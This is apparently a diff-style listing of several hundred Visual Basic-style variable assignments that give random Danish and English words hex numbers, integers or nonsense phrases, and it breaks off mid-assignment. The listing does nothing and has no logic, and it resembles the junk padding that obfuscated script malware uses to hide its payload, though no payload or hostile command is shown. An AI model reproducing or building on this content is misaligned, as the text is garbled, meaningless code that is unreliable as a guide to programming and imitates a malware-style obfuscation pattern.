+Proklamaerne = &H50FF +sekundoviolinen = -13523 +Haandsbredderne = -3772 +Ventralmost = "Studehandlernes stupiditetens" +Pedicellar = "deviable scours!" +Sealet = "Stophanen aliency." +Agterhaler = &H5994 +biospheres = &H14A5 +Skruestikbnkenes = "Deportationsordninger; slatier," +Skriveunderlags = &HFFFF52AA +Lgtningens23 = &HFFFFBB80 +Mycelioid = -55267 +Indenters = &HFFFF846F +Emneafteners = "Lurifaksen: kset" +Danskvandene = &HD86 +Renummereringsfunktionen = &HFFFF0E91 +Maintainances = 23897 +Holeproof = "rytmik vampyrellidae?" +Angiostenosis = 15169 +Biskuittens = "Ume12 subsolar144," +Cirrigrade = "Energistyrelsen palograf." +Archrebel = &H1C98 +Philepittidae = &HD582 +Lucrum = -2466 +Skulderremmen = "Stripers! flaskerenser" +Doolittle = "Slvpapiret! verandas" +Chefkonsulenterne = -48329 +Monishment = &HFFFF84E7 +Pyrite = &HF1D8 +Tilgivelse = -5060 +Skldsord = "Stetoskoperende sluing:" +forgaflens = "Humanes: trowelbeak91" +Escarmouche = &HFFFFB653 +Oversetting = -51566 +Trettenaarfdselsdagens = "Readdressed, pkge." +Pausesignalernes = &HFFFFC21A +Aandevseners = "Ansvarsomraaders? preconsultation!" +Grundreglernes = "Bathmotropic179? datakontrols?" +Styresoftware212 = -25326 +Farveskalaerne = &HFFFFF68D +Intercloud = &H87E2 +Sysselsttes = -13884 +Helstensmur = &HFFFF2922 +Aflokkede = &HF0C1 +Stenter = -17467 +Sponsoredes = -4822 +Apozem = -14205 +Lohoch = &H6358 +Somnolism = 9976 +Karikaturs = -13802 +Adoptivfaderen = &H166C +Detaljoqr = "Sammenstimlingen indgang" +Taxiauto = 41395 +Racemate = &HFFFFB384 +Angulation = 9689 +Anthus = -33988 +Ledsager = &HFFFF875A +Takofferet = -3582 +remineralize = &HFFFFEDFA +kamsin = &H459F +Udbyttekonfiskationen = "Unlawyerlike. greve," +Implausibility = "Skraaskriftens: translucence:" +Hegnstraadene169 = 21557 +kontorarbejde = 45729 +Solidariteters = "Medflende? udflytterkommunerne;" +demonstrate = -18774 +Tapetsermestres = -46769 +fljten = &HCB25 +Dberen = 26415 +Liciteringers = 48569 +Gratiner = &HFFFF33E1 +Eunukkers = "Rahu demagnetisation223?" +asylcentret = &H764C +Comforts237 = 64571 +Majordomo = -12022 +Eksportafgrde = &HFFFFFED5 +Precooler = &HFFFF7A6E +Samvrsform116 = 42522 +Untriturated = "Forarbejdningernes! detentionslokalerne," +repercussive = &HBA6A +illudere = "Medusans? colonizations" +Blandiloquious = -3764 +Conditionate = "Obeahs primitivity," +Distrainor = &HFFFFF094 +Amoebaean = &HFFFF134D +Nonnobility = 37710 +Bjrnegrs = &HFFFFC4B8 +Ubevist = &HFFFFD2A8 +Telefonannoncers = 47600 +Dicranum = &H1468 +Motormand = &HDFD7 +pudsedes = &HFFFF47C7 +Scortation = -4441 +Dromedarers = -49801 +Enker = 24457 +Godsbanegaarden = "Gennembrydningen! deputize" +Prowesses = &HFFFF323B +Shoed136 = "Tjreslaget: forhindringslbet" +whiffs = &H3624 +humblebee = "Forjasket121 revises!" +Quop = &HFFFF0605 +Omgivelsers = &HFFFFACA9 +Dortea = 17445 +Pugarees = 63741 +Skulendes85 = &H4D57 +Peripeteia = &H9AFE +Tilfredsstilledes = 18517 +Scalation = "Astrallegemerne; assurgent." +Pisset = &HFFFF82D2 +rrlig = &HFFFF4693 +Hymeniums = &HFFFF682C +Blaamuslingens = "Lavaen162 unhilariously62?" +Helbroderen = 48522 +Lunarian = &HFFFF2B86 +Mindstebelbenes = 21090 +rysler = &H2939 +Vedligeholdelsesudgift = -6914 +hjttalersystemer = 24817 +Allantiasis = "Tingsvidne! sgefunktions?" +Personificeringernes = &HA9D1 +Skinnebensbruddene42 = "Shrinkageproof, andedammenes!" +Maharishi = 24134 +Reflowers192 = 58260 +Prebendal = &HFFFF79C1 +Hvlspaanernes = &HFFFF6795 +Takketale = "Foldedrens inddatabuffers." +Dehumanizes = "Pokey handelsforbindelser:" +Shadiest = -64316 +pigenavnes = -42768 +Housebug = -18886 +Herrevrelses = -11544 +Tritely = "Newsier: itinerariums?" +Trivialnavne = &H695D +Shrew103 = -38200 +Sporingen = -26275 +Foxproof = "Bortslbning. knifes" +Fjernopvarmes = "Owtchah, pithoigia" +Injoin = -64845 +Oppendes = &HFFFF3975 +Opraaberens226 = &HFFFFCE7D +Unguessed = -8963 +forkuendes = 18430 +Tvelydens = "Glout sknnere;" +Rapgrsset = &HFFFF83F3 +Galejens = -15106 +Mobilization = "Arbejderomraades, forvelsernes13." +Akrobatiske = &HFFFF438A +Unquarrelling = &HFFFF3E04 +Tarpaulian = "Tillberen: anteriority." +Flakonens = 6885 +Buffisters = 43183 +Souljazzen = &HF03A +Joylessness = 11766 +Tastaturanslagets = 59498 +Universitetslektorens = 58481 +Varmtvandsbeholders = "Deejay bourtree." +Heartaches = 104 +Vaporings = "Dirging thwittle" +Indvortes = -4279 +Minsandten = 56601 +Overinflating = -45709 +Trngselens = 37341 +Storeen = "Exitskilts: stonewaller" +Kursfald189 = "Chondrified: bewimple" +Ampasimenite = &HFFFFFC45 +Arbitrere = 15315 +Sinologiens = 53856 +Degenereringernes = "Stangvgtes? reinduced" +Sialoid = &HFFFF2B74 +indeholdelsernes = "Phytols indistinction," +Funktionsstyring20 = &HFFFFC86E +Daydawn = "Rgelserne trisceptral" +Sixpencernes = -33660 +Preconfide = &HFFFFEA85 +Rumdelerens = "Enspirit krokodille" +filt = &H24EB +Valrap = "Kvalitetskrav, elaioleucite" +Hegnings = &HFFFF2938 +Shallowbrain = "Eligent tilvristes" +Modposteret139 = 18428 +Funktionstastens = "Septimerne sangskjulers?" +Gipsyhead = "Vildskabernes; nucleize," +Trilogien = "Gaffernes phacella91" +Udbetalingskortene = &H8B59 +chorizations = "Filmlike forlystelsessteder:" +Exposture = -11391 +unrepresented = "Feddans: sejrsglde" +Valetdom = "Unshaped boxthorn" +Nonimputative = &HCFC0 +Topologist = &HC0A2 +Macromeritic = &HFFFF5FA3 +Dochter = 62179 +Sadelmagernes = "Pilomotor krybes" +Burthened = &HB76 +Semicontraction = "Besprjtning toasting" +Tagdkkeren = "Fortrudte deoxidization." +Oversoaking = "bimanal skydemodstande?" +Filosoferet = &HFFFFBD3C +Bisson = -52244 +Mused = "Aof! hovednummers60" +Colchicum = 30988 +Embryotomies = &H789C +Beseemingly = -30599 +Uoverkommeliges = -20094 +ledigblevet = "Behaviourism188 forbehandlingerne." +Hypohalous = "Baandlg dobbelttilvrelsen!" +Ophvelses = "Tyktarmsoperationers. oligarchize?" +Semirationalized = "Organiserede skyman82," +acquainting = "Linjetlleres? efterbrndingernes" +frasepareret = "Tyktflydende! motley" +Tandrodsbetndelsens = &HFFFFD47D +Maleability = "Insinuating; strggarnerne" +Whame = &H48B +Puckneedle = "vodkaers paisana!" +Jagtfalke = &H7EA4 +Sammensparinger = &H5F8A +Appredicate34 = "Ribbefries enhedslisten," +caping = &HFD88 +Unparagraphed = &HFFFFC3AF +Mornward = &H3C68 +Curiosos = &HDBB5 +Spanked = &HFFFF1ECF +Urogenic = 64538 +Bankrver = -40944 +Monaxonida = 63991 +Tossede = "Voldshandlingers! ballunds," +Intercerebral = &HB48 +opblander = 9808 +Promptest = "Acanthodian: voldsom!" +Elingued = -2744 +Pseudonymer = 59583 +Elektroskopet = -23882 +Egnedes = "Proreption. suspicioning!" +Bilineate = -40724 +Kreatives = &HFFFF58E0 +Leopardskin = -44320 +spillereglen = &H6E4 +Srtilskud162 = &H8FAE +Udsalgsprisernes = "Projectet, bortfrelses;" +Rengringsmiddelfabrikantens = 42172 +Keracele = "Chromophotolithograph? undersoul;" +Fjrtende = "uomgngeligheders? revolute" +Friand = 12836 +Dyrepark67 = &H7704 +Vaginalt = &HFFFF301E +Hematoids = "Exobiologist survivors?" +Anthropoid165 = "Svbeslagenes, ondskabsfulderes." +Foredoor = &HB0F5 +Smaaredslens = "Gulerod. bringendes" +vrdighedstegnet = "Amenta? miswords?" +Trstubbene = -20308 +Apolloship = "Winesops! maaleligt?" +Vatfuls = -2257 +Empirien = 52160 +Dragon = &HFFFF97B4 +Sayable = "Snoreassistentens; solrig151" +Stvlesnudernes = -60190 +Anspores = 41982 +Gry = &HFFFF624E +Ddninger = "Spawneater? modermrkernes" +Grundplaners = "Hikkesygens; informationsteknologi?" +Stersfarternes = -37141 +Folketingsordfrer = &H77B7 +Conglobating = &HFFFFF61A +Acremen = &HFFFFE950 +Tegneprogrammer7 = &HA2B2 +Nonreconcilably = 38977 +Udrede = -62289 +Dagsordenerne = -10697 +Copying = "Bunddkkende balstyrige" +Anticarious = 54190 +advokatfirmaets = &HFFFF0B2B +Burgwere = 24965 +Dalmatinernes = &HFFFFF56D +weighshaft = &HD8BD +Ridestien = &HDFA9 +Kodifikations = 61545 +Strykninforgiftningers25 = -12978 +Bp = "Unswarming isocytic." +Vitrial = 11479 +Dekoreringernes = "Hack. drumbeater" +Hydatid = &HAF8 +sttende = "Zar aftagerens?" +Sporbredden = "Arizonans trikolores," +Fusain = &HFFFFB0E4 +Sgelysene = "Leucocytopoiesis; forbryderspirers" +Flsomheden = "Ferskenkinders: indrejses39." +Bevaringerne = "Dyreparkerne: undeserted!" +opkaldsafgiften = -513 +Macacos = -21870 +Daakalvene246 = -60815 +Sparrernes = "Skibsrederiets25! fortrydelsesparagraffernes?" +Etatists = 61121 +Oksefars = "Svrmeriskes! skrivelsen169" +Ballyhooer = -1542 +Unwithholding = "Spidvendere, bedrevrdsflelser" +Cyanometry = 30993 +philol = &HFFFF6B27 +Kanonbaade = "Frottehandskernes200 eloxeringens." +Absolutest16 = "Marshallers warszawapagtens" +Impolished = &HFFFFA7E9 +Fastnacht = &HFFFF5330 +Medmenneske = &H95C8 +Benedicks = "Programerklringernes sulfosbe" +Ferieramt = &HFFFF0749 +Forbundsstats = -26774 +Justifikationer = -31671 +Vedette = -3200 +Loyola = &HFFFF57C0 +Decapods = &HEA4A +Honorifically = 54169 +Nonbiographical = &H5048 +Slibrighed = "Elevskolernes, microcirculatory" +Recurrently = "Studenten ergoterapeuters" +Arbejdssted = &HAAFA +Nerium = &H9613 +Siculian = &H3013 +Autostradaen = 49843 +Trevlerne = &HB0AF +Spritkrere = -6181 +Isographs = -58835 +Nongeological = &HFFFFFD50 +Tilpasningsklausulernes = 56009 +Raspings = 41389 +Sylespidsens = &H1B1C +Freeware = &HFFFF9A36 +Stabwort = 17618 +Bgetrets = 58358 +Impresarioernes = "Dopey; marianne;" +Distinktionernes = &H2D06 +Plisseen = -4535 +Hypotenuser = "Apotekerbevilling domenic," +Webfoot = 47369 +Deformity = 48689 +Statsansat = "Blomstergartner transpositionerne" +Hjemstedsadresses15 = "Bobbing spendering:" +Unormaliteterne = &H6465 +Kvalifikationskampe = "Cinurous, samensunken" +Moduler = "Stenkulsnaftaen64 georgine106" +Britchka = &HFFFF9977 +Gritt = &HFFFF31E0 +Psammotherapy = &HFFFFA07A +Masturbationernes = 4516 +lohengrin = "Sadelmagernaalens brydningstider:" +shikarees = &HFFFF8BA3 +palaeomastodon = "Cykeltyvenes blekingegade;" +Ceratium = 21975 +bundkarakter = 50129 +Tibors = &H4438 +Misdictated = &H534A +Tyvstjlendes84 = "Forbjerges stvletters" +Lrebogsmaterialernes = &HFFFFFA2A +Uharmoniens = -44667 +Albummet = "Nectarinia! meteorologists" +Beslutningens = &HFFFF02B0 +Nyest = "Baccilli: bundfldede" +Blaamunkes = "Everten. biopolymers" +Fireetagershuset = "Spildevandsomraades lugningerne" +Perishably = "Petrographical160 sydsides," +Lampadist = "Prevenancy juleferierne" +Pulsimeter = "Skrdderiers: tidsvrdiernes?" +Microspectrophotometry150 = &H3D2F +Flappede = &H4BAC +Baadsmnd = "Kludderhas borborygmi" +Dowdily = "William? beduinens64" +Dinner = "Sjakringers fantastik" +Volumenernes = "Pakning pillearbejdes" +Piecemeal = "Paleoecological. tydeliggrelsen." +Leninists = "Bioblast, hvalfangerens." +Endgate74 = "Bosun optraadtes" +Evanescenrly = &H1F8B +Car = &HF29C +Delnglens = &HFFFFE992 +Confutability = &HFFFF88B6 +Mangrate = &H57F +Bespouses = "Resaws? triumvirat" +Afsnitsgrnsernes = "Stueetagens! noncausative" +Nonsignificative = &HFFFF9128 +Dekretet = "Lugningen periosteomedullitis;" +Onychauxis = -58179 +Undertavle215 = "Laveres? gerontomorphosis!" +Fuserne = &HD94D +Bisglyoxaline = "Esteemable langsdorffia," +Subinferred = 41193 +Forbehandlet = &HB53C +Vaginoscopy205 = "Glorioles? udviklingstaktens:" +businessese = -18439 +Kaliumcyaniderne = &H835D +Skiagrammes = "Afmystificeringen? vulcanizing" +Unpoached = "Epitheca ankerpladsens," +Synkronmotor130 = 5682 +Bordbombens = -34064 +Done = "Foragtede: anomalousness." +Hierarkis = &HFFFFBFF6 +Soph = "Gorgonize. englante;" +Kugle = &HFFFF5818 +ballongyngens = "Troopial! caliculi71," +Trocheameter = &H3226 +Unpropitiatedness = 33021 +Snacky = 29321 +Plotinist = -9866 +Forsumpe = -10446 +Selvejergaards = 23782 +Undermestres = &HFFFFB097 +Aswan = 49246 +Parterrer = &HFFFF0D56 +Akademikers = "Interdisciplinr? signance" +Rehydrate = "Battes! storkundernes" +Alebench = -34664 +Ablute = &HFFFF3B86 +Berengaria = 44298 +Vagtfolk = "Espressivo anvendelsesformaalen!" +Rdkaalshovedets = &H595D +Unfirmly = "Impends finanskonto94:" +Lotteriseddel = "Byggemodnende! efterkomnes!" +Relacquer214 = "acetonaphthone. solkremerne162," +Prevaricators = "Vid. linearise?" +Gland135 = "Orddelte overregiment219" +Matchmaking = "Gesandtskabers; modsvarede" +Swinehood = 8965 +Programmelkonstruktions255 = &HFFFFB15C +Flsket = &H5105 +Prokura = "Untranscendentally telefoner?" +Liverpudlian = "Antiklder tilfredstillende." +Udviklingsplanerne31 = "Informationsmaengder; flowerier" +Modebevidstes = &HFFFF0B71 +Algaeologist = "Lovbrydere! outstays!" +Aabenbaringerne = &HFFFF8D3C +Alkoholtest = -39472 +Saddukere = -12721 +Kreture = -2094 +unequivocating = &HC91A +Markrflytningerne = &HFFFF143E +Bacillian = &H5EE3 +Uncandid = "Gnosticise hyleriers" +Bove = &H7D58 +Hematopoiesis = -43618 +Korrektivernes = "Epistles, fleksibelt!" +Seabeds = &H9AD8 +Tilbragtes230 = &H5555 +Virkningens = &H2D02 +Takstgrnsers = &HFFFF37F1 +Pilulous = &H80F3 +Cutify = &HFD4C +Blosters = 7515 +Unbeatably = 19287 +Datalogger181 = "Perchlorinated traitorly." +Centralmagten131 = "Einar. pedately:" +Knackish = -29245 +Skadesforsikrings = 11624 +Stivskrtets = "Ekstraudgave193: bulbideren113" +Incommoding = 23475 +Totemens = "Endurable; fjernsynsantennen127." +Declassify = 9635 +Detailhandel = "Peptotoxine cungevoi," +The185 = "Stolet kurfyrsten," +Maalfoto = "Vigtigper typesituationens," +Underforsikringer = -44337 +Tildkninger = &H4492 +Assimilator = 24534 +Testikelkrften = "Refusionsopgrelser; rambling" +Aerobion = &H2A2B +Fjordmundingen = 29031 +Carbamyls80 = "Sammentrkkenes afskringer:" +Speculatrices = "Amias demonologist140;" +blegnbet = 28891 +Parbuckle = -26003 +Eddersmart = "Kryolith; skriveformers" +Sorrowingly = &HFFFFA921 +Irre = 44300 +Kloakker = "ankefristen. colluvies" +Dressingerne = -2871 +Oxaluric = -34542 +Slutbetingelsernes = &H8268 +Brskursers = 22214 +Bantamklassens = "subjektivistiske mazarine:" +Cowpock = &H6227 +Poetiserede = &H8874 +Rageproof = &HE8F +Yearend = "kiwifrugter! driverier11" +recriticize = "Straffefaktions tilsagnstillggene" +Stradivariusers = "Ggekagen? empeople" +Prolongates = -19955 +Figurtypens = -53587 +risici = &HB8F +Burghers = -6119 +Eftertnksommes = &HFFFFC45D +Noddlebone125 = 43642 +Unauthorised = &HFFFF4599 +Restimulation166 = "Optrdes118! zonesystemers" +Tentered = -13296 +Cinerararia = "Konomiseret, improvisatorises" +Slgtsgaardens = -24592 +Homecome207 = -34242 +Ulivssaarene = 25368 +Korpset = 55622 +Desensitized = 26416 +Kish = "Heintjes; anderiets14" +Albainn = &HFFFFE9A9 +Proacquittal = "diskettestrelses obiit" +rvesaks = -33729 +Agoniser = -15279 +Nskeseddels = "Taktmssige74 coracomorphae," +Humbugsmager = &HFFFF9653 +imperceptivity = "Suppositum102 stavedes" +Aflednes = &HFFFF3C1B +Rollefagenes = -9995 +Brandtalens165 = "kvien! entomostracous?" +Genkendeliges = "Graveman mindstevrdier?" +Stjsvagt = &HBBFA +Glamouriseres = -37042 +Uninvigorating = "Porched photoinhibition" +Defensive = "Hjemmebesoeg, pronunciations!" +Bureaucratically214 = 41148 +Kalkbaljen = &HFFFF8E8A +Tjenestepligtens = -10540 +Ageredes = "Politistationernes uerfarent." +Inbye = "Skosendes: djinni" +Incontrovertibility = "Chirred. cirkelines:" +Retint = 64974 +Ornaternes = -31147 +Rutebilen33 = 11224 +Cybernated = &HBB93 +sporrensere = &HFFFFF9C7 +udmarv = &HFFFFDC3E +Coprocessors = "Unblamability indtgtskilde?" +Religionsfrihedens = "Skrkslagen; brugerens." +Ugudelige = &HCFD5 +Levnedslbs = 33977 +Sikkerhedkopiering = -26423 +Vandringsstavs = -8534 +Allachesthesia = &HFFFF114D +insigniernes = &H398F +Gyre = -12528 +Randmornes = -62172 +Problemerne = "Semicultivated, lnniveau" +Verrell = &HFFFF95C8 +glaucochroite = &H5754 +Irrevocable = &HCB5 +Kalekah = &HFFFFC35C +Genoptage = "Ghostly ablativer;" +Underteaching = -11063 +Brachytypous = &HFFFF0F4F +Udkramning = &HF517 +Reshook = &HFFFFEFC1 +Pomak = -1612 +Trugs = &HFFFF024F +Hypersensitization = 23251 +Splejserne = &HFFFF99F0 +Ordinalvrdiernes = &HFFFF32BE +Pennyhole = -4938 +Regardfully = "Skyful solostemme." +Regelated239 = -63614 +Overindustrialise = 34918 +Kapabel = &HFFFF5731 +Kjell = &HFFFF1EDE +Boykotter = 40563 +Bubbler103 = 57449 +Subtiliteters = "Scapement stansninger" +Bourdons = &HFFFFDD1E +Prunes = -14939 +Perfektionering = &HFFFFAA85 +thermical = -27116 +Underlydsflyene = &HFFFF879C +popupmenuer = &HFFFFF497 +idiomorphous = &H14BE +Dewie = "Shuba7? behandlersystemet" +Motorgade = "stereospondyli maomao!" +Smaapakke79 = "Oscillated sydvestenvindene" +Fameless = "Bedvelsesmidlets solennitetssale:" +Honesty = "Neglectfully? dispositively" +Huspel = "Enskying? folkesangers:" +Lnindkomsten = 25597 +Detaljer = &HFFFF0D65 +Identitetsdannelse = -42866 +alkalimetrical = "Lipid, toddyers," +Keyed = "Impar rillens" +Hugtnderne196 = -46798 +Preauthorizing170 = "institutress regnskabsmodeller" +Handerlsaftale = &H9F5C +Bundskraberens = &H314A +Fjernkontrollens = -28041 +Aandepustets = 57944 +Contagions = "Vermouther hepatizes:" +Kognastisk = "Fixing203 llewellyn" +cardioblast = 17178 +Lavprisvarehus = "Midtpunkternes, ushabti:" +Afterfame = "Sociometrisk roughhews" +Cytologist = "Opmagasinerendes; smudsiges;" +Yaupon = &HEAC4 +Enre = 10050 +Sanitetsmestre = 56467 +Afventedes = 59161 +parcelhusomraades = &HFFFF9A41 +Igitur = &H42A3 +Scannings = -42670 +Udtmt = &HFFFF067F +Stilton = 27008 +Regeringsform = &H4BBB +Asteraceae = "Finickiest midlet:" +Lnkehunden = -2282 +Lyksaliges = 36719 +Bruskvvets = &HFFFFE31E +aslaks = "Avys hemozoon57" +Blackfin = &HC6B3 +Bethylid = -3424 +Marinbiologiskes117 = &HFFFF2B19 +Prepurchased = "Firmamenterne! mrkvrdighederne," +Preanticipating = &HFFFF0B07 +Salturternes = &HFFFFC325 +Dazzlement = &HFFFF2B3C +Ridderlfternes = 41780 +Liftable = -3356 +Landevejsroevere = &HFFFF2B04 +kubikmetrenes = "Skilteskriften! ternings:" +Dannelsesfaget = "Gonopoietic33: afskrabs!" +Udygtighederne78 = "Comino; ufremkommeligheden!" +Telefonkdens = "Kolonneblokkens svangerskabsafbrydelserne" +craniometer = 15399 +Zoosmosis = 35638 +Sorrower135 = "Blasfemikerens! tnkeren" +programbeskrivelserne = "our luftforureningerne" +ddblege = "Bolthole: phylography65" +Brashiness = -44247 +Terebenic = &HFFFF4283 +Penoun = &HFFFFC0BD +Oophorectomizing = "Erotismens sows27:" +Aarsagssammenhngs = 6979 +Halicore = 22158 +customising = "Unconvincingly afvikling" +Skrivetjets = -42361 +Baconsvinets = 56831 +Semistory = -42815 +Fetishism = "Unfretful; diversificer;" +Efterdaterings = -25451 +Lytte = "Grdt? startkatalogers:" +Ldervinge = "Deployeringerne multiset;" +Livskvaliteternes76 = -16372 +udgangspositionens = &H529 +Pinniferous = 57726 +Unblade = &H1E3A +Crucifer210 = &HFFFF1FF4 +Sudanere244 = 48057 +Nonsubstantiveness = -53329 +Miscoloured202 = -23043 +Normalfordelinger = &H7460 +Tusindaarige = "Dolomitizations184 discession:" +Jemina = &HFFFFC3B7 +Unmercurialness = &HFFFF6FDD +fortykning = &HFFFF6957 +Elzevirian = "Delkorals behaviorism" +Narrowly = -7703 +Uenigst = -3951 +Skgpantebrevets = -51736 +Elektronkonfiguration = &H6AF3 +Tilfredsstil = "Lunchernes nizams" +Leptene = "stenbideres, electroreceptive159" +Stunders = &H4EF4 +Kvistlejlighedens = &H7BE1 +Osteophony = "Intuitiveness213 semiactive" +Chloroamide = "Ligningskommissionens. befolkningsgrundlagenes65" +Horsepipe105 = -19553 +Cymblen = "Dataskrmes! snrklernes" +Asperity118 = &HFFFF9DB2 +Tilskudsudmelding = 55572 +Bredsaaningernes = &H78B3 +Squawmish = -43239 +Ignorantine = -6855 +Resiant = &HFFFF0B17 +Besigh145 = &HFFFF9F6C +Rgtopas = 14022 +betokenment = "Frihavnsvirksomhed airted138" +Tllevariabel = "Drueagurks! parlors;" +Shrivelled = 32258 +Decimallngdens = -38040 +Cunnilinctus = "semiparochial amagerbrogade;" +scholarlike = &HC72A +Dialogboksen18 = &H4C +Centerklassers = &HFFFF231F +Nonextendible = 7959 +Musicaluddannelse = "Udspndes umbellic1" +Cyanin61 = &HDC0F +Chartrer = 23830 +udstykningsplanen = "Representing frdselsbetjente!" +Jotisi = "bulningen. knebret?" +Optrinene = 28792 +Emigree = -52542 +spolingernes = -12271 +Symfoni = &H6AA7 +Udemrket = "Goldminer urfjelds," +Amidin = &HB97C +Potning = "Vesir trkbasunerne," +Zymometer = -56424 +Scroop = -59801 +cay = 41077 +Sinoidal = &HFFFF4216 +Moas = -3116 +Databaseadministrationen232 = &HB607 +Vedgaar = &HFFFF401E +Blokkalendernes = 26968 +Brandenes = "Dualiteternes! gandhiism" +Markedsandelene = 62666 +Tsemiddel = "Investigable nonimmunizeds" +Nondisjunctional = -33055 +Reinfestation = 22673 +Afskedssang = "Daunii! hklenaalens" +Clayborn = "Europeres, convertible" +Tingbogens122 = -7685 +charnu = &HFFFF5B57 +Rognfiskens = &HB19F +Abandonnerendes = -33884 +Almeh = "Brevsamlerens; intarsiate" +Disorient = &H3FA6 +Fjordrejer = 37317 +Deadwort = "Buksenederdelene; liquifier" +Efterlevelsesvrdiges = 35244 +Racerent56 = &HFFFF36F1 +Formueretsligt = 63999 +Bemanding = -64313 +Paasyningernes = &HD3D6 +Topklasser = &HFFFFD6B8 +Plumrendes = &HFFFFCED5 +indrmmes = &HFFFFD469 +Matsaya = 28882 +Perlevens = -14140 +Unshatterable = "Beavery43 misprises" +Overenskomstaftalernes = &HFFFFC0DB +akkumulativt = "sordiner monologists?" +Maaleenhed = "Missionshotels108! balfalderas," +Incondensibility251 = -23511 +Videosignal = "Hybrises, bverungen," +Misanthropic = -27248 +manslayer = "Pizzalsning neckward?" +Ecthlipses = "Stormvejrenes pensionrer89:" +Untired = &HFFFF5D6A +Amidulin = -48052 +Kighosters = "Nsegrus; selfness:" +Dermatoneural = "Brancheforeningens? chromized," +Bronzemedaljens105 = 62338 +chillummen = 34000 +Indeklimaindsatse174 = &H8E17 +Sulken174 = &H96D3 +punchlike = "Eksplementvinkelens207 totals" +Adoptianism = "Noggin prelegal!" +Podagrist = "Udrettedes saccular." +Stolebenet = &HFFFF25A4 +Oplandets = -41100 +Kiwai = &H6F84 +Smgtede = &HB2B9 +Hermaphroditical = "Telemestres! tonetrinnet" +Kontingenteringernes = -45911 +Sletteprogrammet = &HFFFF17D6 +Brusetablettens = "Fribytter nordbagges:" +Ringbrynjer = "Byggearbejder mantiserra" +Phototroph = "Nectriaceous takskyldiges?" +Inddeling = -24908 +Flexibility = "Slatters socialhjlpsmodtagere;" +Fluefangeren = 52755 +Dingenoters = "Grundbgernes ammodyte" +Rakkerkules = 47548 +Snderborgensernes = -7740 +Jetaldres = &HFFFF0E9D +simplicidentate = &H56A9 +ekphoria = &HFFFF7B5D +Desorbs = &HFFFF6A3D +alpiniaceae = &HFFFFBBB9 +Forretningsomraaders = "Sylteeddikes; indskydelsen" +Pejsen = &HFFFF4C52 +Solodanserindens = &HFFFF5E72 +Monolobular = &HFFFF5231 +Kadi112 = 34531 +Tilbehrspanteret = 61768 +Repel = -62659 +Bramsejlskonnertens = &H478F +Florlet = "Sdvanes: seers" +Domstols = "Mussuck. prefashioned!" +Cometography = &HC15D +Schismatism = &HFFFF4BD0 +Parasitosis = -25146 +Readout38 = &H4471 +Letfngeliges = &HFFFF9D57 +Sldefres = 27270 +Shiningernes = -3590 +Ectocuneiform = &HFFFF150B +Reparationsanlg = -62799 +Flittiglisers = "Thoriate, mandages;" +Omstigningen88 = -8798 +Trekantdrama = &HFFFF9F90 +Litteraturhenvisnings = "Dickens161: terrorgruppen241" +Statuette = "Kystfart? uppuff!" +Superpopulation = -16735 +Vito = -12261 +Succesfuldestes = &HFFFF2D6F +Shoehorned = -59652 +Haendelsen = &HFFFF5FCD +Universitetslektorerne17 = "Misspoken: tropsvelses" +Isogone = "Isomelamine negerens," +Diskriminationsloves70 = -12438 +Liniebredder = &HA26 +Unstatued = &HFFFF9A24 +Surrogatvariabel = -46616 +Linelet = &HFFFFB58F +germann = "Flippernes; kongehusets120," +Journalistiks = &HFFFF24A2 +Unreassuringly201 = "Konsuleres hilary;" +Rosolio = &HFFFFD6D4 +annet = 45135 +Erhversformaals = 28749 +Doneres = &HFFFF5800 +Efterladenskaberne = -47496 +hemacytometres = 31434 +Vicente = -13636 +Mechanicals = 47019 +Smeltesikringers = 6565 +Generalsekretren139 = &HFFFF2C9B +Chuckholes = "Nonadvertence bilruderne!" +Chen = "Fjernsynssenderes: overenskomstforhandlingen:" +Bikinien = -17629 +Adrenalectomy = -37629 +Slusevrkets = 19403 +Sabelslugernes = &HFFFFE8B9 +Overbebyrdede = "Grevekrone forlangender" +Svalernes = &HFFFF7BD0 +Huggets = "Terrazzo attraktioner;" +Fortinning = 13368 +Tubularia = "Leadiest lyt!" +Undertrykkelsespolitiks = 53161 +preelecting = &HFFFF380B +Beskadigelsens = "quatrefoils helminthite?" +Bestridt = 11433 +Solfrids = -33149 +Overhatted = &HFFFF0844 +Medborgerhusenes = "Fornuftsbetonet clodhead" +Vanhelligede = -23897 +Omkryptografer = "Adapterne; opsamle;" +Undertakery = "Filtende: misdirector" +Franciscos = -2474 +Boltonite = &HFFFFECC8 +Contradistinctive = -8906 +Arthropathy = 60535 +Wassailer = 59953 +Frot = &HFFFF4D65 +Hypocholesterinemia = 19904 +Tilbagevistes = 8038 +Paabdes = &H2AE2 +Helicine = &HC889 +Asmund = "Effigiation! osmolal" +Aped = &H6A23 +Odiferous = 50964 +Udearbejdes80 = &HFFFF5248 +Tilsandings = &H2450 +aflsningerne = "Syvogtyvendedelene teglbrnderiet138!" +Cripe = "Tergeminous brandesianerne" +Biogeographer = -43750 +Nache = &HFFFFBE6F +Eftermiddagsmaaltiders = "Pyroantimonic urpremierers;" +Ormegaardes = &HFFFF3E5C +Lithify = -45855 +Folkeeventyrenes = &HFFFF1D11 +Stratificering = &H4BEC +Nonmedicinally = -40261 +Uegennytten = "Danilas: teleiosis," +Nedslagningernes = &HFFFF647C +Disgulf = "Casks! lovhjemmels?" +Stamparcellers = &HFFFF736F +Stiffeners = &H455 +Assertivenesses = "Bessy? dippers" +lidelseshistorien = -61037 +Molluscivorous = &H2717 +Barbariers = -50216 +Mllevinge = &HD705 +Bestowment = "Suid? folkemordene" +Indkomstaarets = &HB1D8 +Tilregneligt = &HCF0E +Ruterne = 51697 +Lakmusprve = -63847 +Aspargessuppens = 53776 +Graciousnesses = -59990 +Elfenbenstaarn = "Conversive; blodforgiftningernes" +Frihedskmpere = -62662 +Gasbrnderens = &H1FAA +Prudentially = -12894 +Figlike = 56051 +Dukketeatre = "underpower! trimeters!" +Dandiprat = 4755 +Downton = &HBE86 +Daktylogi = "Socialdemokratens; tzental" +Kraftvaerker114 = -47904 +Interoceptive = "Kalver. serviceaftale." +Raggles77 = "Billigudgavens trskere" +Affrightfully = &HFFFF3DD6 +Togkortenes = "Roderier, jordspekulanters" +Kropersonalers = -41647 +Weam = &HC22B +Anaesthetic = &H4F61 +Liberalt = &H6408 +Untranquillised = "Unliberally. smuldrende!" +serumbehandlingerne = "Samarbejdspartner! bestillingssedlens" +Gasbeton = "Isohyetal massacring" +vicegerentship = &HFFFFC79C +Unworshipful = 39553 +Cameloid = &HFFFF52FC +Sodomittens = -61851 +Powermonger = &HFFFFCCFB +Aaremaalsstillingen = 15747 +Capsizing = &HECAE +Fotohandlerne179 = "Rebuilds, rotaman" +Idesia = "aerotherapeutics svampekosts" +Walloch = 